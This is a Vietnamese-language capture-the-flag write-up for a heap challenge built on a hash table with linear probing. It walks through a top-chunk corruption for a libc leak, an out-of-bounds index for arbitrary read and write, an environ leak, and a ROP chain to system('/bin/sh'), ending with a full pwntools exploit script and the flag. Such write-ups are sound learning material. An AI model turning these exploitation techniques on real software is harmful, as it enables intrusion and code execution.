# Overview
Bài đơn giản là cho mình tạo, đọc, sửa HashTable, trong đó, họ xử lý hash collision bằng linear probing.
Các struct:

struct HashTable // sizeof=0x10
{            
    __int64 size;
    Item *pointer;
};

struct Item // sizeof=0xC
{
    int key;
    char val[8];
};

# Environment & script setup
Làm theo ở [đây](https://hackmd.io/@blackpwner/S11lMQGwye).

`Dockerfile`:
Vì là redpwn jail nên tạo lại image mới:

FROM ubuntu@sha256:80dd3c3b9c6cecb9f1667e9290b3bc61b78c2678c02cbdae5f0fea92cc6734ab

RUN mkdir -p /challenge
RUN apt update && apt install -y gdb gdbserver socat
WORKDIR /challenge
COPY chall .
COPY flag.txt .
RUN chmod +x ./chall
RUN chmod 0444 ./flag.txt

CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:"./chall"

# Bugs
Có 2 bug đáng chú ý:
* Không check index của HashTable ở option set và get
* OOB khi linear probing ở hàm getHashTable ==> có thể overflow mảng Item[] của một HashTable:

Item *__fastcall getHashTable(HashTable *a1, int key)
{
  unsigned __int64 idx; // [rsp+10h] [rbp-10h]
  Item *pointer; // [rsp+18h] [rbp-8h]

  idx = (unsigned __int64)key % a1->size;
  pointer = a1->pointer;
  while ( key != pointer[idx].key && memcmp(&empty, &pointer[idx], 12uLL) )
    ++idx; // đáng lẽ nên là idx = (idx + 1) % a1->size;
  return &pointer[idx];
}

# Libc leak
Tận dụng bug số 2 để sửa size top chunk và malloc một chunk lớn hơn => top chunk bị free vào unsorted bin.

newht(0, 4)

# fill hết cái hashTable đã, các key (i+1)*4 sau khi % 4 sẽ bị trùng index, nên bị đẩy từ từ lên

for i in range(4):
    set(0, (i+1)*4, str(i+1).encode())

# sửa top chunk size, mình không biết chọn size sao luôn á, crash hoài
# ngồi debug tới đoạn này thấy nó là 0x20d31 nên lấy đại 
set(0, 0, p32(0) + p32(0xd31))

newht(1, 350)
# now have a chunk in unsorted bin

set(0, 0, p64(0))
# làm nó thỏa mãn memcmp(&empty, &v4[v3], 12) == 0

set(0, 1, p32(0) + p32(0xd11))
# đổi key để cho lần get tiếp theo, index 0 trả về Item chứa libc address

get(0, 0)
libc.address = u64(p.recv(6) + b'\0\0') - 0x203b20
success(f'{hex(libc.address) = }')

Đoạn bị crash:

Fatal glibc error: malloc.c:2599 (sysmalloc): assertion failed: (old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)

Edit:
Sau một lúc thì mình đã tìm được lý do.
Assert đó ở đoạn này:
https://elixir.bootlin.com/glibc/glibc-2.39.9000/source/malloc/malloc.c#L2599
Ta thấy chỉ có vế thứ hai của phép `||` có thể thỏa được, do old_size != 0.
Nó có 3 điều kiện:
* `((unsigned long) (old_size) >= MINSIZE`, được, tại `MINSIZE = 0x20`
* `prev_inuse (old_top)`: cái này dễ, chỉ cần cho LS Bit = 1
* `((unsigned long) old_end & (pagesize - 1)) == 0`: có mỗi điều kiện này sú thôi.

Ta có:

pagesize - 1 = 0x1000 - 1 = 0xfff
old_top = 0x60b2fbd852d0
old_size = 0xd30
old_end = (unsigned long long)old_top + (unsigned long long)old_size

Nếu size bằng 0xd30 thì ok, bằng 0xc30 thì không thỏa:
Hèn gì mà thử hoài không được :v
Lần sau chỉ cần viết script tìm kiếm là ok:

old_top = 0x60b2fbd852d0
for old_size in range(0x20, 0x1000, 0x10):
    if (old_top + old_size) & (0x1000-1) == 0:
        print(f'{hex(old_size) = }')

Qua khúc assert thì sẽ tới kiểm tra vài điều kiện phía dưới, rồi cuối cùng là free top chunk. Với size 0xd30 đó thì nó không vào tcache hay fastbin được => vô unsorted bin.
https://elixir.bootlin.com/glibc/glibc-2.39.9000/source/malloc/malloc.c#L2647

Sau đó vẫn tiếp tục tận dụng bug số 2 để đọc địa chỉ libc liền sau cái hashTable đó:

# Leveraging index OOB to achieve arbitrary* read & write
Nếu như bằng một cách nào đó, mình có thể thay đổi mấy cái địa chỉ này tùy ý, thì chắc chắn mình có thể read & write mọi nơi.

Ta sẽ nghĩ là tìm một hash table có index ngoài vùng [0, 19] có `pointer` trỏ đâu đó gần vùng hashTables này, rồi chọn option set.

Vấn đề là tìm thế nào? Ta cần một ô nhớ trong vùng đó chứa một địa chỉ trong vùng đó.

Trong pwndbg có lệnh rất hay là `leak`
Đầu tiên ta check map:
Lệnh sẽ dùng là:
`leak -d 1 -o <cuối>-<đầu> -p /challenge/chall <đầu>`
Ta sẽ tìm ở vùng màu tím và vùng trắng phía trước nó nha

leak -d 1 -o 0x59d64f173000-0x59d64f171000 -p /challenge/chall 0x59d64f171000

Kết quả:
Giờ ta lọc ra từng cái, ta cần trước con trỏ ấy có field size không quá nhỏ.
Trong hình trên, cái thứ hai có vẻ ok, do size của nó sẽ là một địa khác, đủ lớn.
Giờ ta xem nó sẽ edit được chỗ nào trong cái mảng `hashTables`.
Thôi thì viết tạm cái script python để tìm:

addr_to_use = 0x59d64f16f220
hashTables_addr = 0x59d64f172040

for i in range(20):
    if (hashTables_addr + 4 + i * 16 - addr_to_use) % 12 == 0:
        print('i =', i, '\nsize =', (hashTables_addr + 4 + i * 16 - addr_to_use) / 12)

Kết quả như sau, cũng khá nhiều lựa chọn:

i = 2
size = 987.0
i = 5
size = 991.0
i = 8
size = 995.0
i = 11
size = 999.0
i = 14
size = 1003.0
i = 17
size = 1007.0

Mình sẽ chọn số 2.

Lười viết tiếp quá =))
Nói chung là muốn đọc hay viết vào chỗ nào đó thì cần phải biết giá trị 4 byte trước, do nó là key.

def arbitrary_read(target: int, pre4: int):
    set(-45, 987, p64(target-4-pre4*12))
    get(2, pre4)

def arbitrary_write(target: int, pre4: int, value: bytes):
    set(-45, 987, p64(target-4-pre4*12))
    set(2, pre4, value)

Số `-45` tìm được bằng `(<địa chỉ chứa addr_to_use> - 8 - <hashTables_addr>)/16`, số `2` với số `987` thì tìm như phía trên.
# Leak environ & ROP
May mắn, trước environ là giá trị 0:
Nên leak environ khá dễ, rồi từ đó cộng trừ tìm được rbp, saved rbp:

amp_environ = libc.address + 0x20ad58
arbitrary_read(amp_environ, 0)

environ = u64(p.recv(6) + b'\0\0')
success(f'{hex(environ) = }')

current_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b900
current_saved_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b9a0

Còn lại là ROP và dùng `arbitrary_write` để viết thôi:

pop_rdi = libc.address + 0x000000000010f75b
ret = pop_rdi + 1
binsh = libc.address + 0x00000000001cb42f
ropchain = [ret, pop_rdi, binsh, libc.sym.system]

previous_position_value = current_saved_rbp
current_position = current_rbp + 8

for value in ropchain:
    arbitrary_write(current_position, previous_position_value >> 32, p64(value))
    previous_position_value = value
    current_position += 8

# Full script

#!python3
#!python3

from pwn import *

exe = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

context.terminal = ['alacritty', '-e', 'bash', '-c']

remote_connection = "nc addr 5000".split()
local_port = 5000

localscript = f'''
file {context.binary.path}

define rerun
!docker exec -u root -i debug_container bash -c "kill -9 \\$(pidof gdbserver) &"
!docker exec -u root -i debug_container bash -c "gdbserver :9090 --attach \\$(pidof chall) &"
end

define con
target remote :9090
end
'''

gdbscript = '''
# put your gdb script here
# malloc
brva 0x12D8

# read
brva 0x167E

# printf
brva 0x1746
'''

def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.LOCAL:
        return remote("localhost", local_port)
    elif args.GDB:
        return gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        return process([exe.path])

def GDB():
    if not args.LOCAL and not args.REMOTE:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    if args.LOCAL:
        gdbserver = process("docker exec -u root -i debug_container bash -c".split()+  [f"gdbserver :9090 --attach $(pidof chall) &"])
        pid = gdb.attach(('0.0.0.0', 9090), exe=f'{context.binary.path}', gdbscript=localscript+gdbscript)
        pause()


p = start()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)

def choice(num):
    sna(b'>', num)

def newht(idx, size):
    assert 0 <= idx and idx <= 19, "Index out of bound!"
    choice(1)
    sna(b'Index: ', idx)
    sna(b'Size: ', size)

def set(idx, key, value):
    choice(2)
    sna(b'Index: ', idx)
    sna(b'Key: ', key)
    sa(b'Value: ', value)

def get(idx, key):
    choice(3)
    sna(b'Index: ', idx)
    sna(b'Key: ', key)
    ru(b'Value: ')

def exitt():
    choice(4)

# STEP 1: LEAK LIBC
newht(0, 4)

for i in range(4):
    set(0, (i+1)*4, str(i+1).encode())

set(0, 0, p32(0) + p32(0xd31))

newht(1, 350)
# now have a chunk in unsorted bin

set(0, 0, p64(0))
# làm nó thỏa mãn memcmp(&empty, &v4[v3], 12) == 0

set(0, 1, p32(0) + p32(0xd11))

get(0, 0)
libc.address = u64(p.recv(6) + b'\0\0') - 0x203b20
success(f'{hex(libc.address) = }')

# STEP 2: LEAK ENVIRON
def arbitrary_read(target: int, pre4: int):
    set(-45, 987, p64(target-4-pre4*12))
    get(2, pre4)

def arbitrary_write(target: int, pre4: int, value: bytes):
    set(-45, 987, p64(target-4-pre4*12))
    set(2, pre4, value)

amp_environ = libc.address + 0x20ad58
arbitrary_read(amp_environ, 0)

environ = u64(p.recv(6) + b'\0\0')
success(f'{hex(environ) = }')

# STEP 3: ROP
current_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b900
current_saved_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b9a0

pop_rdi = libc.address + 0x000000000010f75b
ret = pop_rdi + 1
binsh = libc.address + 0x00000000001cb42f
ropchain = [ret, pop_rdi, binsh, libc.sym.system]

previous_position_value = current_saved_rbp
current_position = current_rbp + 8

for value in ropchain:
    arbitrary_write(current_position, previous_position_value >> 32, p64(value))
    previous_position_value = value
    current_position += 8
success('Done writing ROP-chain!')

exitt()
success('Done getting shell!')

p.interactive()

'''
uoftctf{7hx_df53c_f0r_5p0n50r1n6_7h15_c7f}
'''

# Flag
`uoftctf{7hx_df53c_f0r_5p0n50r1n6_7h15_c7f}`

# Vài lời
Challenge có 15 đội giải được và trong đó không có blackpinker :v
Trong quá trình giải có cách command `leak` đó hơi mới.
Nói chung là bài này không khó nhưng vẫn hay.